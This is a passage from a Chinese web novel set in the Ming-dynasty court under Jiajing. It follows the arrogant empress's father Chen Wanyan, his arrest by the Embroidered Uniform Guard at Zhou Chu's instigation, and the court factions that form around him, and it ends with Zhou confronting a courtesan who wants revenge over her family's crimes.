陈万言将这份拜帖交给陈府的管家道。 陈府之中的许多下人,基本都是这一年陈家发迹之后买的,不过管家不同,以前的陈家虽然穷,却也不是普通百姓,这个管家跟着陈家很多年了,陈万言对他很是放心。 这个帖子的主人是一个五品官,名为李兆藩,如今年近四十,却仍然还是个五品官,他既不是江南集团的,也不是杨一清那一脉的,以前倒也想过走关系,不过和两边都攀不上关系。 所有人都不乐意带他玩。 如今陈万言一飞冲天,让他看到了机会,他很清楚,皇帝能对陈万言封伯,还如此大加赏赐,想来和皇后的感情极好,这不正是自己的大好机会吗? 所以李兆藩这些天每日一个拜帖往陈府送,终于得到了回应,这让他无比惊喜,最重要的是今日皇帝给陈万言封了侯,这要是抱上了,升官发财还不是指日可待? 至于醉仙楼?那都是小事,对李兆藩而言,不怕陈万言选择金贵的地方见面,就怕有钱花不出去,醉仙楼这种地方,反而是最容易谈成事的。 李兆藩得到消息之后,坐着轿子一路直奔醉仙楼而去,请领导吃饭,姿态一定要做足,不可能让领导比自己先到。 “孙掌柜,开个雅间。” 李兆藩也算得上是醉仙楼的常客之一了,不过以往都是那些商人或者找他办事的员外郎请他吃饭,他请别人吃饭的机会很少。 倒不是他不想请,而是没机会。 “得嘞,甲字三号雅间,请好吧您。” 孙强说着将一个包厢的牌子交给服务员,让她挂上去,代表这个包厢有人了。 孙强说完之后便不再搭理李兆藩了,平日里出入醉仙楼的基本都是达官贵人,李兆藩这种更是天天见,没什么稀奇的,自然也不需要过多在意。 该到的礼节做到就行了。 李兆藩也没有急着进包厢,而是在醉仙楼门口翘首以盼,前倨后恭的姿态,让人看着觉着有些可笑,但这偏偏是那些上位者最喜欢看到的,大部分上位者都喜欢看到下面的人为了讨好自己,谄媚殷勤的模样。 他们清楚下位者有所求,但他们享受下位者的这种姿态,这才能让他们感受到掌权的意义所在。 下位者在讨好上位者的过程中,往往会故意扮丑,以讨上位者的欢心。 很快,陈万言就坐着轿子来到了醉仙楼门口,撩开轿帘之后第一眼就看到了李兆藩那副滑稽的模样,这让一直被人看不起的陈万言内心得到了极大的满足。 “大人,您小心点脚下。” 李兆藩看到陈万言之后,殷勤的小跑过来,那副姿态愈发滑稽,来到轿子前,伸手托着陈万言的手,小心地扶着他下轿。 “你小子挺会办事。” 李兆藩的一举一动,都让陈万言的内心得到了极大的满足,此时的陈万言才真切的感受到了权利的美妙。 “为大人鞍前马后,自是应当。” 李兆藩殷勤道。 “嗯。” 陈万言假模假样的点了点头,他虽然入京已有近一年,却无甚上位者气象,如今硬是要装出一副大人物的做派,也只是沐猴而冠,显得无比滑稽。 但因为无人敢提醒他,所以陈万言意识不到,还以为自己姿态拿捏的很足,心满意足的走向了醉仙楼。 甲字一号包厢之中,周楚和杨慎两人举杯对饮,能被杨慎引为知己的人不多,周楚算一个。 以前的杨慎活的无比的拧巴和痛苦,他看不上自己的父亲杨廷和,却又不得不为了家族利益帮助有意无意的帮助父亲,说是助纣为虐也不为过。 自从受到了周楚的点拨,杨慎头上的乌云瞬间被拨开,看到了自己要走的路,从此再无迷茫,也无痛苦,这一年多的时间,杨慎从未如此痛快过。 每每在朝堂之上痛斥杨一清等人,杨慎都觉得酣畅淋漓,身心通透,完全不像以前那样,所做和所想是矛盾的,拧巴的。 对于王阳明的心学,杨慎也是万分推崇,杨慎和王阳明之间,虽无师徒之名,却有师徒之实,杨慎原本想着等再次见到王阳明的时候,便拜他为师,却不曾想王阳明回乡丁忧去了。 “自从学了这心学之后,我便再无疑虑,只是想要再见阳明先生,不知要何年何月了。” 杨慎有些遗憾道。 “升庵先生不必遗憾,阳明先生虽在丁忧,却也不会闲下来,我已经拜托先生在他的老家办了个学院,目前学院还在建,想来要不了多久便可以正式收学生了。” 周楚笑道。 杨慎听到这话,眼睛顿时亮了。 “衡器办这个学院,可是有其他谋划?” 对于周楚,杨慎还是很了解的,别看周衡器年轻,但所思所虑,都是走一步看十步,断然不会做一件看似很简单的事。 “这是自然,说起来我办这个学院,对升庵先生你可不是太友好,我这个学院教的东西很多很杂,数术、天文地理、治水、安民等等,包罗万象,当然,也包括儒家之学。” 周楚喝了口酒道。 杨慎听到这话,非但没有生气,兴致反而愈发的高。 “你这学院教出来的,才是真正济世安民的人才,只是你要真如此做的话,恐怕会得罪天下文人。” 杨慎说这话的时候,满脸忧虑。 “左右我得罪的人也够多了,不在乎再多一些。” 周楚无所谓道。 正当两人相谈甚欢的时候,孙强满脸焦急的走了进来。 “怎么了?” 周楚对孙强很了解,自己这个表叔一向进退有度,很少会如此失礼。 “两位大人,隔壁陈万言陈大人闹起来了,非要吃什么天上飞的龙肉,小的实在是不知道该如何办了。” 孙强无奈道。 如果是其他人,孙强有的是办法,但陈万言身份特殊,他真不好拿捏其中的分寸,更何况周楚此时就在醉仙楼,让周楚拿主意才是正道。 周楚两人听到这话,对视了一眼。 “猴子终究是猴子,什么时候都成不了人,上蹿下跳徒增滑稽。” 周楚笑道。 第163章 周楚:陈大人莫非要谋反不成?北镇抚司出手 “你们醉仙楼不是号称什么吃的都有吗?连龙肉都没有,也敢开门做生意?” 陈万言就是冲着闹事来的,以他的身份,根本不需要找什么合适的理由,任何理由都可以,因为他清楚,醉仙楼的掌柜不敢说什么。 今天,他就是要周楚和杨慎好看。 一旁的李兆藩顿时坐蜡了,他怎么都没想到,陈万言叫他来醉仙楼,并不是谈事的,而是另有所图,这明显就是奔着闹事来的。 醉仙楼背后有谁,别人不清楚,李兆藩还能不清楚吗?别的不说,单单是一个吏部尚书韩玠就不是他这种小人物能惹得起的,更不用说那活阎王周楚了。 虽说今日早朝周楚失了势,但即便如此,想要碾死他这个五品官,就如同碾死一只蚂蚁这么简单。 正所谓瘦死的骆驼比马大。 陈万言身份不一般,不怕醉仙楼背后的这些人,但他怕啊,两边大人物斗法,稍微不注意,他就会被弄的粉身碎骨,万劫不复。 此时的李兆藩无比后悔,自己真是吃了猪油蒙了心,走谁的门路不好,偏偏要走这位的,这位怎么看都不像多聪明的样子。 “陈大人好大的威风啊。” 周楚和杨慎两人来到陈万言两人所在的包厢,周楚看着无理取闹的陈万言,玩味道。 李兆藩看到周楚和杨慎,心里咯噔一下,原本还心存侥幸的,现在彻底完蛋了。 眼前这两位大佬哪一位是好惹的?一个是阁老,一个是锦衣卫指挥使,虽说失了势,但锦衣卫指挥使的职务还在。 李兆藩是认识周楚的,毕竟一年前周楚在京城闹的太大了,如果不是因为李兆藩不属于江南集团,恐怕也难以幸免。 即便如此,李兆藩对于当初周楚做的事仍然历历在目,现在看到这位活阎王,李兆藩只感觉双腿发软,站都站不稳。 “下官李兆藩,见过两位大人。” 李兆藩此时已经顾不得这么做是否会得罪陈万言了,他很清楚,自己如果不行礼,肯定会得罪眼前这两位。 陈万言看到李兆藩这副做派,虽有不满,却也不好说什么。 “周大人管的还真宽,本官想吃什么,关周大人何事?据我所知,这醉仙楼已经和周大人没多大关系了吧?” 陈万言捋了捋自己的山羊胡道。 醉仙楼的占比,周楚早就转移到了云瑾身上,后来云瑾进了军中,这部分直接放在了春兰身上,所以明面上周楚确实和醉仙楼关系不大。 即便所有人都知道醉仙楼背后最大的后台便是周楚和韩玠,但这些都不能拿到明面上来说。 “醉仙楼的事我是管不着,不过陈大人说要吃龙肉,我就不得不管了,陛下乃至真龙天子,陈大人在这醉仙楼大放厥词,张口闭口就要吃龙肉,到底意欲何为?难不成想要谋反?” 周楚直接一个大帽子扣了过去,让陈万言措手不及。 “周大人说的有理,我看这陈大人不过是假借吃龙肉的名义,图谋不轨,这位就是和你一起在共谋大事的?” 杨慎看了一眼旁边的李兆藩道。 李兆藩听到这话,差点忍不住当场就跪下了。 “两位大人,冤枉啊,下官也只是想从陈大人这里走走关系,我也没想到陈大人如此胆大包天啊,居然要吃龙肉,下官真的什么都不知道。” 李兆藩说这话的时候都快哭出来了。 陈万言听到这话人傻了,他怎么都没想到,周楚和杨慎只是一句话,李兆藩居然毫不犹豫的和自己撇清了关系。 难道在这个姓李的眼里,自己的分量还不如周楚和杨慎? 一想到这里,陈万言心中愈发不爽,对李兆藩也记恨上了。 “周大人和杨大人还真是会给人扣高帽子,不过一个龙肉罢了,哪有这么多说法。” 陈万言不屑道。 “不过一个龙肉罢了?陈大人真是好大的胆子,倘若陈大人吃其他的肉,哪怕是牛肉,最多不符大明律,不会有多大罪过,因为这些肉都是真实存在的。” 周楚冷笑道。 “但陈大人真的见过龙肉吗?” 周楚的话问的陈万言哑口无言,顿时不知道该如何回答了。 说见过龙肉?那不是扯淡吗? 说没见过,这不是坐实了自己居心叵测。 一时之间,陈万言进退维谷,不知该如何办了,他怎么都没想到,这周楚居然如此难缠。 方才孙强去告诉周楚的时候,周楚就让沈炼去北镇抚司叫陆万山了,很快,陆万山就带着一群锦衣卫来到了醉仙楼。 “陈大人意图谋反,跟我们走一趟吧。” 陆万山一脸冷笑道。 “谁敢抓我?凭你们北镇抚司也配?我可是堂堂泰和侯,皇后是我的女儿。” 陈万言自然是认识陆万山的,毕竟在京城都快一年了,怎么可能不认识这个北镇抚司的镇抚使。 “陈大人,我北镇抚司还真敢,北镇抚司的职责便是如此,来人,将陈大人带回北镇抚司。” 陆万山喝到。 此话一出,陆万山身后的锦衣卫瞬间将陈万言架了出去,陈万言一路骂骂咧咧,所有锦衣卫都置若罔闻。 “李大人,你也跟我们走一趟吧?” 陆万山看着一旁傻眼了的李兆藩说道。 作为北镇抚司的镇抚使,陆万山对京中大大小小的官员,都是认识的。 李兆藩听到这话,顿时满脸破败,似乎认命了一般,乖乖跟着锦衣卫走了。 李兆藩很清楚,这些大人物斗法,他不过是被波及的,但即便如此,陈万言基本不会有事,因为他背后是皇后,甚至是皇上,但他这个小人物一旦进了北镇抚司,恐怕别想好了。 李兆藩很清楚,以自己以前做的那些事,贪的那些钱,最好的结果便是被罢官削职,甚至可能更坏。 “大人。” 眼看着事情办妥了,陆万山对周楚恭敬行礼道。 “退下吧。” 周楚摆了摆手道。 “是。” 陆万山这才退出了醉仙楼。 “现在的锦衣卫可比往日风光多了,这还都是托你的福,想必这些锦衣卫各个都对你很是敬重。” 杨慎笑道。 这话看似在赞扬周楚,实际上也是在变相的提醒周楚,小心功高震主。 “升庵先生放心,我有分寸,只是这陈万言恐怕在北镇抚司待不了多久。” 周楚笑道。 “小惩大诫也好,有他闹腾着,未尝不是一件好事。” 杨慎笑了笑。 第164章 陈皇后怀孕,彻底膨胀的陈万言,夏言杨一清杨慎联合 第二日,宫中传来消息,皇后娘娘被太医诊出大喜之脉,原本应该是普天同庆的事,皇后却得知自己的父亲陈万言被抓进了北镇抚司。 于是皇后陈氏在后宫大闹了一场,嘉靖无奈只能勒令北镇抚司放人,随后更是痛斥周楚这个锦衣卫指挥使滥用职权,简直不把他这个皇帝放在眼里。 嘉靖下令暂收周楚锦衣卫指挥使之权,只留其职,以儆效尤。 说白了就是周楚还是锦衣卫指挥使,不过在明面上已经没了锦衣卫指挥使的权利了,至于暗中有没有,只有嘉靖周楚和锦衣卫的人清楚了。 周楚得到这个消息之后,有些意外,不是意外皇帝收了自己指挥使的权利,而是意外陈氏居然这么早就有孕了。 原本的历史上,陈氏应该是在五六年之后才会有孕,有孕之后肆意娇纵,还想插手前朝事务,被嘉靖不喜,废除了皇后之位,打入冷宫,没多久便滑胎死于冷宫之中。 不过周楚想想也就明白了,想来是因为太医院的太医被全都换掉的缘故,原本的太医院被文官们掌握在手中,皇后想怀个龙胎到也不容易,太医只需要稍微做点手脚,就可以让她长时间无孕。 如此说来,倒是自己间接性的帮了陈氏一把,不过周楚对此丝毫不介意,任何事都是一体两面的,欲先让其灭亡,必先让其疯狂,有了身孕的陈氏只会放飞自我,愈发肆无忌惮。 如此一来,才会让皇帝和文武百官更加反感。 陈万言毫发无损的从北镇抚司出来了,这件事唯一的受害者李兆藩,却留在了北镇抚司的昭狱之中,成了牺牲品。 如今的李兆藩,既不受周楚等人的待见,又不受陈万言的待见,再加上他的屁股本身就不干净,哪里禁得起北镇抚司查。 倘若李兆藩一直坚定的站在陈万言那边,可能陈万言还会捞他一把,可惜此人首鼠两端,把两边的人都得罪了,注定结局悲惨。 “哼!周楚不是嚣张吗?现在不知道还能不能嚣张的起来。” 回到家里的陈万言志得意满道。 而那些得到消息,又想走门路的官员们,一个个都纷纷向陈府递上了拜帖,希望能攀上这个大树。 陈万言如今春风得意,对于送上拜帖的官员那是来者不拒,此时的陈万言彻底膨胀了,毕竟在他眼里,连以前权势滔天的锦衣卫指挥使周楚都因为自己彻底失了势。 还有什么能让这更让人膨胀的呢?更何况陈万言本身也不是什么自制力极强的人,一时之间愈发得意忘形,对于上门走门路的那些官员的请求,无有不允。 几日之后的朝会,周楚并不在,毕竟周楚此时已经是在休息了,也没说致仕,也没说休沐,只是说休息,至于休息到什么时候,谁也不清楚。 夏言看着朝堂上没了周楚,心中反而有些不安起来,倘若没了周楚这个敌人,皇帝是否还会留着自己?或者会不会贬官。 这都是夏言需要担心的。 今时不同往日,如果是嘉靖刚登基的时候,夏言根本不会把皇帝放在眼里,但如今的朝局,已经基本被嘉靖掌控,嘉靖可以一言决定一个官员的仕途,最起码像夏言这种失去了江南根基的官员,嘉靖要贬他的官,恐怕朝中很少会有人替他说话。 此时的夏言才是战战兢兢,如履薄冰,不过这并不意味着夏言没了野心,倘若被夏言抓住机会,他还是会不择手段的往上爬的。 如今的夏言,不过是潜伏起来,以待时机罢了。 既然周楚不在朝堂,夏言顿时把目光盯向了志得意满的陈万言。 虽然他不清楚陛下为何会对这位一忍再忍,不过夏言清楚,皇帝绝不是一个昏君,既然周楚不在朝中,那么陈万言便是自己的攻讦目标。 很多时候,敌人的存在,能让自己的位置坐的更稳。 没了敌人,要么真的大权在握,要么就是在走钢丝,处于极其危险的境地了。 “陛下,臣想为陛下举荐几位贤臣。” 陈万言的脑回路简单的跟一一般,不会绕圈子,收了那些官员的好处费,居然直接在朝堂上明目张胆举荐。 虽说这事其他官员也不是没干过,但都是真假参半,有真有假,找到合适的机会再举荐。 而不是像陈万言这般,如此生硬的举荐。 不过谁让嘉靖是捧场王呢,听到这话,不止没生气,反而有些惊喜。 “爱卿说说看,朕如今也是求贤若渴。” 嘉靖笑道。 嘉靖自登基以来,要么称呼官员的职务,要么称呼字号,像如今这般称呼爱卿,倒是极为少见,毕竟对一个少年皇帝而言,爱卿这个称呼显得有些肉麻了。 此时的陈万言在杨一清杨慎甚至是夏言这些顶级大佬眼中,是个十足的跳梁小丑。 他们虽然不知道皇帝唱的是哪一出,但都明白,应该配合皇帝把这出戏唱完,唱好。 看着如此嚣张且愚蠢的陈万言,杨一清甚至有些怀念起了周楚,毕竟和周楚这种人做对手,那才是酣畅淋漓,陈万言这种蠢货,杨一清把他当成对手都感觉是对自己的侮辱。 不过杨一清也明白,与其说自己的对手是陈万言,不如说是皇帝,皇帝恐怕想扶持陈万言,利用陈万言来安插亲信,排除异己。 陈万言够蠢,但作为一把刀,不需要多聪明。 这是杨一清得出的结论,他看不到更多的信息,所以做出了误判。 “陛下,臣以为陈大人的职务是中军都督府同知,职责是是统兵,举荐文官恐有不妥,太过僭越。” 还没等陈万言开始举荐,夏言直接出列道。 中军都督府,是五军都督府之一,五军都督府很早之前便名存实亡了,五军都督府原本是天子亲军,负责拱卫皇帝的安危,正是因为五军都督府名存实亡,之前的文官们才能如此逼迫皇帝。 原本嘉靖任命陈万言为中军都督府同知,就是想重新整顿五军都督府,只是嘉靖没想到陈万言实在是个烂泥扶不上墙的货,任职都快一年了,只知道吃喝玩乐,一点正事不做。 再加上之前皇后的一些举动,让嘉靖有了放弃这对父女的打算。 只是放弃之前,嘉靖要把陈万言最后的作用发挥出来,而且废后需要一个合理的理由,无故废后实乃大忌,容易给那些文官们留下话柄。 “陛下,臣以为夏大人此言有理,正所谓不在其位不谋其政,倘若朝中人人都有所僭越,不按规矩做事,长此以往,大明必乱。” 杨一清出列道。 他罕见的和夏言站在了同一边。 “陛下,臣也以为夏大人和首辅大人说的有道理,陈大人一个秀才出身,本身无甚大才,又如何能举荐贤才?” 杨慎也出列道。 三人之中,杨慎的话攻击力最足,仅仅一句话就让陈万言脸红脖子粗,想反驳却又说不出任何反驳的话来。 此时的朝堂上,如果有谁能让朝中的一众大员集体反感的话,那就只有陈万言了。 嘉靖听到几人的话,面露为难。 “爱卿,此事稍后再议吧。” 嘉靖看着陈万言,似是在商议,又像是在哄小孩一般道。 第165章 周楚招待文徵明,勃然大怒的陈皇后 柳思思是教坊司的头牌清倌人,最近一年才名传遍京城,无数达官贵人在教坊司豪掷千金,只为一睹柳思思的容颜。 只有柳思思清楚,她原本并不姓柳,而是姓周,也不叫思思,这等充满风尘意味的名字,只有在教坊司或者青楼这种地方才会出现。 柳思思的父亲是个四品官,自小柳思思便衣食无忧,所谓的大家闺秀也不外如是。 不过柳思思基本都是在家宅后院,极少出门,所以才名不显。 原本柳思思以为,自己的一辈子会波澜不惊,过个一两年,找个门当户对的人家嫁了,一般像她这种官小姐,基本都是这么过的。 但她怎么都不会想到,一年前,周家遭逢巨变,柳思思的爹被罢官夺职,死在了北镇抚司的昭狱之中,周家则被抄家,女眷充入教坊司,其他人则被流放。 柳思思进入教坊司之后才知道,和她一样遭遇的官小姐不在少数,后来她才知道,这一切都是拜新上任的锦衣卫指挥使周楚所赐。 此人狼子野心,迫害忠良,京城之中居然有数千官员遭到这位活阎王的毒手。 整个教坊司一时之间居然人满为患。 不过这也只是暂时的,人多有人多的办法,人一多起来,教坊司的人就不把她们这些犯官女眷当人了,无数人因为遭受不住毒打,被活活打死。 前面两个月,柳思思艰难存活下来,后来逐渐展现才艺,逐步被教坊司看重加以培养,如今的柳思思成为了教坊司的头牌。 但柳思思内心却只有仇恨,如果不是因为仇恨,当初刚进教坊司的时候,柳思思就不想活了。 不只是柳思思,这教坊司之中的女子,有一多半都有着和她一样的仇恨,那便是找锦衣卫指挥使周楚报仇。 当然,很少有像柳思思这般仇恨这么坚定的,大多数都随着时间的流逝,再也没了仇恨,心里想着的都是怎么好好活下去。 毕竟那些女子很多都清楚自家父亲并非多么清廉,被北镇抚司清算虽然难以接受,但如果把这些仇恨都算到周楚头上,倒也不合适,没有周楚,还有王楚、李楚。 当然,也有少数像柳思思这般,心里想着的都是如何报仇,这种不多,但也有十几位。 “锦衣卫指挥使周大人府上,要一二十个姐儿去伺候,接下来我叫到谁的名字,谁便去。” 柳思思听到这个消息的时候,精神一振,她苦等的机会终于来了,原本她还以为这个周楚不近女色呢,如今看来,也不过是个道貌岸然之徒,一次还叫了这么多。 理论上,教坊司的女人是不过府的,只有青楼的女人才会被达官贵人叫到府上伺候,更何况像柳思思这等红透了的清倌人,卖艺不卖身,更是没有任何理由出教坊司。 但这也只是理论上,这种事要看是谁叫的,一般的达官贵人肯定不行,但周楚是锦衣卫指挥使,别说锦衣卫指挥使了,任何一个锦衣卫都够教坊司喝一壶的,如果说教坊司最不敢得罪的是谁,非锦衣卫莫属。 所以当周楚让府上的下人来到教坊司递话的时候,教坊司的一众官员顿时有种心惊肉跳的感觉。 这位活阎王这是要闹哪一出啊,周大人不知道这教坊司之中的女人多半都和有仇吗?这要是出点什么事,他们教坊司恐怕从上到下,所有官员都得进北镇抚司,进了北镇抚司还想活着出来? 一想明白这些,教坊司的官员一个个都感到头皮发麻,当即将教坊司所有的清倌人和红倌人都叫了过来,将周府让她们过府的事说了一遍。 “本官把丑话说在前头,本官也清楚,你们之中很多人仇恨周大人,但如果你们谁敢有不轨之心,那便是害了整个教坊司,也会害了你们那些流放在外的族人,你们要想清楚。” 教坊司的管事,看着下方的这些女人,满脸严肃道。 柳思思听到这话,浑身一哆嗦,是啊,自己光想着报仇了,但那周楚是何等人物,不说自己能否成功,即便成功了,恐怕也会连累那些被流放的族人。 一时之间,柳思思陷入了纠结之中。 最终,柳思思也被选中,在前往周府的名单之中。 教坊司的头牌清倌人对其他人而言,可能是欲求而不得的,但以周楚的身份而言,区区一个教坊司头牌罢了,说一句予取予夺也不为过。 教坊司和青楼不同,青楼的女人过府,一般都是蒙着头被龟公扛着过府,但教坊司毕竟是官家之地,如此行径太过上不得台面,于是柳思思等人变坐着教坊司准备的轿子,来到了周楚门口。 柳思思跟随众女进入周府,刚一进周府,柳思思就被周府随处可见的锦衣卫震慑住了,这些锦衣卫一个个对她们充满了防备,眼神之中都是审视。 毕竟他们都清楚,教坊司之中的女人,很多都是仇视锦衣卫的,特别是自家大人这种,一年前直接办了那次惊天大案的,眼前的这些女人,多半和大人有仇。 他们不清楚周楚为何会突然从教坊司之中叫人,不过以他们的身份自然不敢质疑周楚的决定,便只能紧盯着这些女人,但凡有一个敢有异动的,他们便会出手。 柳思思还是第一次面对这种局面,这些锦衣卫带给她的压力,比当初在教坊司的压力还要大很多,柳思思甚至能感觉到,这些人似乎知道自己心里在想什么。 这让柳思思的心瞬间悬了起来。 很快,众女就来到了周府的正厅。 “抬起头来。” 柳思思听到一个很年轻却又充满了威严的声音,心中一颤,随其他女人一起抬起头来。 她这才看清楚周楚的样貌,居然是一个俊朗之中带着威严和气度的年轻人,这大大出乎了柳思思的预料,原本她以为周楚这等活阎王,不说青面獠牙,也应该是虎背熊腰的彪形大汉。 是了,以前这周楚好像还是京城之中有名的才子。 柳思思这才恍然想起周楚的另一个身份,只是周楚的这两个身份似乎太过割裂,很少有人能将之前的周楚和现在的周楚联系在一起。 “老师,你初到京城,学生也没什么好招待的,老师便看看这京城的教坊司和苏州府那些青楼女子相比如何?” 周楚看着眼前的文徵明,笑道。 此时已然是年底,再次入了冬,京城的冬天可比苏州府冷多了,不过周府之中从不缺好炭,一个个炭盆烧着,这正厅之中居然丝毫不显冷,反而很暖和。 文徵明入京,是为了明年的科举做准备,原本文徵明是不准备这么早来的,不过周楚回京之前,就对文徵明做出了邀请,让他在自己府上安心备考,文徵明这才答应,和周楚前后脚坐船来到京城。 至于唐伯虎,周楚也邀请了,甚至连徐渭那个小家伙都邀请了。 不过唐伯虎觉得京城太冷,想过了冬之后再说,毕竟他们一大家子,不可能像文徵明独自一人一样客居在周府。 对此,周楚也没有强求,临来之前给唐府送去了很多炭,毕竟唐伯虎年岁大了,每一个冬天对他而言都是一个坎,周楚作为学生,自然要考虑的周到些。 “衡器,你呀。” 文徵明有些无奈道。 他如今也已经五十多了,年轻的时候和唐伯虎一起放浪形骸,却也没几年就收心了,他可不像唐伯虎那般为老不尊,只是周楚坚持要叫来教坊司的这些女人,文徵明只以为自己这个学生长大了,便没拒绝。 周楚之所以这么做,一方面确实是为了招待文徵明,另外一方面,也是为了做给京城之中的那些人看的。 既然要休息,那就好好玩,休息的时候如果整日还不知道在干什么,那些人又怎么能放心呢。 只有他们放下心来,才会把目光都盯在陈万言身上。 至于教坊司这些女人和自己有仇?周楚不在乎,无非是一些女人罢了,周楚又没打算和她们亲密接触,叫她们来不过是弹琴跳舞的。 周楚这边享乐的同时,后宫之中,陈氏得知自己的父亲朝堂之上受辱,勃然大怒,自打有了孕,她的脾气是一日差过一日。 “杨慎,居然敢多次折辱我父亲,即便你是阁老又如何!” 陈氏咬牙切齿道。 第166章 嘉靖的捧杀,不知所谓的陈万言,吃喝玩乐的周楚 既然做戏,那就要做全套,嘉靖自从得知皇后有孕之后,日日都遣人去问候,却得知皇后这两日郁郁寡欢。 “这是怎么了?怎么这么一副不高兴的样子,太医可是说了,你的心情关乎腹中的胎儿。” 嘉靖来到皇后所在的寝宫,陈氏早有准备,一副凄凄惨惨的模样。 “陛下,臣妾罪该万死,可臣妾听闻父亲在朝中受人折辱,日日担忧,越想心中越是难过,怎么都高兴不起来。” 陈氏一副清冷的模样道。 如果不掺杂其他事务,单单陈氏这等携宠邀功,试图染指前朝事物的举止,就足以让嘉靖对其置之不理了,不过此时嘉靖既然准备废后了,张氏越是骄纵,对嘉靖而言越是好事。 “这也是没办法的事,陈爱卿是中军都督府同知,统管的是武将,他非要举荐文官,其他官员肯定是不会同意的,朕即便是想同意,但这么多人反对,朕倘若一意孤行的话,岂不是寒了百官的心?” 嘉靖一脸为难道。 陈氏听到这话,一滴滴豆大的眼泪如同不受控制一般流了下来。 嘉靖见她这副模样,心中冷笑,面上却是一片慌乱。 “梓童,你这是为何?” 梓童是皇帝对皇后的称呼,如同后世男人称呼自己的女人为老婆一般。 “陛下,臣妾就这一个父亲,父亲对臣妾自小就极好,如今臣妾成了皇后,我爹却还要受这等折辱,他的心气极高,臣妾只怕。。。” 陈氏说了一半就停了下来,不过话里话外的意思都十分明显,暗示嘉靖将陈万言的事办了。 这种话,也就是陈氏这等小门小户,一点见识都没有的女人才说得出口,但凡有一点见识,都应该清楚,大明皇帝最忌讳的就是后宫干政。 不过这陈氏属实没什么见识,原本的历史上,这位就是因为过于骄纵,意图染指前朝事物,甚至因为怀孕期间嘉靖和其他妃子多说了几句话,就大闹了一场。 嘉靖也不惯着她,即便她怀着龙种,也直接开始冷处理,甚至对陈家开始清算。 但此时嘉靖还要用陈氏和陈万言来当靶子,陈万言闹的越大,闹的越严重,届时百官就越怀念周衡器。 嘉靖就是要让杨一清等人意识到,陈万言这种人对他们的危害更大。 “梓童不必太伤心,这样吧,回头让陈爱卿私下递上来几个名额,朕替他办了。” 嘉靖一咬牙,仿佛做了什么重大决定一般,说道。 陈氏听到这话,瞬间破涕为笑。 “臣妾知道,陛下疼惜臣妾。” 宫中传出一条消息,皇后张氏在后宫大闹了一场,皇帝无奈,只能将陈万言举荐的数位官员直接擢拔了。 这消息一出,文武百官们反应不一,杨一清这等大佬顿时意识到了这件事的不一般,如此下去,以陈万言为中心的文官集团就会逐渐成型。 即便陈万言再草包,但他手下的官员可不都是吃干饭的,而且这些人想要攫取更大的利益,势必要挤占他们的人的生存空间。 无论是杨一清这边的文官亦或是以夏言为首的江南集团的文官,纷纷开始写奏疏,准备弹劾陈万言。 杨慎和韩玠则是幸灾乐祸,准备看好戏,剩下的那些立场摇摆不定的官员,则一个个怦然心动,纷纷向陈府递上了拜帖,准备抱紧陈万言这棵大树。 他们以为皇帝对皇后恩宠有加,无限纵容,如此一来,以陈万言为中心的文官集团的崛起将是势不可挡的 ,很多人以为自己看准了机会,所以想要尽早上船。 陈万言举荐的官员被嘉靖安排之后,愈发膨胀,觉得就没有自己办不成的事。 “那杨慎又如何?杨一清又如何?还不是阻止不了本官?” 陈家正厅,看着对自己谄媚的官员,陈万言一脸得意道。 “那是,陛下和皇后娘娘琴瑟和鸣,对陈大人而言是好事,陈家的崛起势不可挡啊。” 一个五品官恭维道。 “是啊,以后我等跟着陈大人,那还不是前途一片光明。” 众人的吹捧让陈万言飘飘欲仙。 不过很快他就想到了一个问题。 “如今朝中的职务,都是一个萝卜一个坑,即便本官有心提点你们,可没有位置,该如何举荐呢?之前的那些个,皇上就已经够为难的了。” 陈万言有些忧愁道。 “陈大人此言差矣,没有坑,咱们就创造坑,把原本这些职位上的官员挤走,这不就有缺了吗?” 其中一个官员笑道。 陈万言听到这话,眼睛顿时亮了。 “你且说说,该如何办?” “大人,现如今想走大人门路的官员恐怕不在少数,大人将这些人都拧成一股绳,看上哪个职务,我等便一起弹劾这个职务上的官员,如此一步步来,以后这朝堂之上,还不是大人说了算?” 此人一脸阴笑道。 “是啊大人,什么杨阁老,到时候在大人面前算个屁。” 另外一个官员急忙拍马屁道。 他们清楚,陈万言在朝堂上受到了杨一清和杨慎等人的折辱,只要抓住这个说事,无有不成。 果然,一听到这话,陈万言瞬间上头了,他似乎看到了自己在朝堂上指点江山,杨慎和杨一清只能点头同意的场景。 周府之中,这几日周楚日日饮酒作乐,至于文徵明,年纪大了,有些遭不住,便以备考为名,躲在房中读书。 柳思思等女更是日日被叫到周府,周楚也注意到了柳思思,这些女人之中,有几个总是有意无意的瞥向自己,眼神很是复杂纠结,想来是在考虑要不要找机会报仇。 其中盯着自己最频繁的便是柳思思。 “你上前来。” 周楚此时喝的有些微醺,指了指柳思思道。 柳思思听到这话,心中一震,她意识到自己报仇的机会似乎来了,但又在纠结要不要出手。 “抬起头来。” 周楚醉眼惺忪的看着柳思思道。 柳思思这才眉目含春的抬起了头,这种情绪,早在刚进入教坊司的时候,就有专门的人教,柳思思成为头牌之后,早就不用如此待人,清倌人的头牌,自当自矜身份。 只是柳思思此时也不清楚自己是什么情绪,又怕露了馅,便下意识的出现了这副表情。 “你想找我报仇?” 周楚捏着柳思思的下巴,笑道。 柳思思听到这话,心神俱震。 “贱妾不敢!” 柳思思急忙跪倒在地道,整个身体都贴在了地上,生怕周楚产生误解,而对她那些族人动手。 “最好是没有。” 周楚冷笑道。 周楚说完这话,看向了一旁的一个锦衣卫。 “她是谁家的?” “回大人,柳思思是前吏部官员周文怀家的女儿。” 锦衣卫恭敬道。 “去把周文怀的卷宗都调过来,要详细的。” 周楚摆了摆手道。 “是。” 锦衣卫领命离去。 “你还能找我报仇,你可知道,那些因为你爹周文怀而活不下去的百姓,又能找谁去报仇?” 周楚看着柳思思,不屑道。 “既然享受了周家带来的利益,就要承担相应的恶果,难不成你以为,自己很无辜?” 第167章 周楚的诛心之法,王直攻打肥前国,兴奋地嘉靖 很快,关于周家的卷宗被锦衣卫带了进来。 关于周家的卷宗很多,因为周家涉及到的事很多,方方面面。 周楚拿起卷宗,随意挑选了一卷,扔到了柳思思面前。 “看看吧,这便是你周家造下的孽。” 柳思思看着眼前的卷宗,想要拿起来,却又感觉重于千钧。 她一直都清楚自己的父亲甚至自己的哥哥都不是什么好人,但她很少出府,所以周家的人具体做了什么,她是不清楚的。 实际上她也一直在逃避这个问题,毕竟在内宅之中,无论是她父亲亦或是她的哥哥,对她都是极好的。 柳思思不得不拿起卷宗,开始翻看,不看还好,只是稍微翻了几页,上面记载的累累罪行便让柳思思肝胆俱颤。 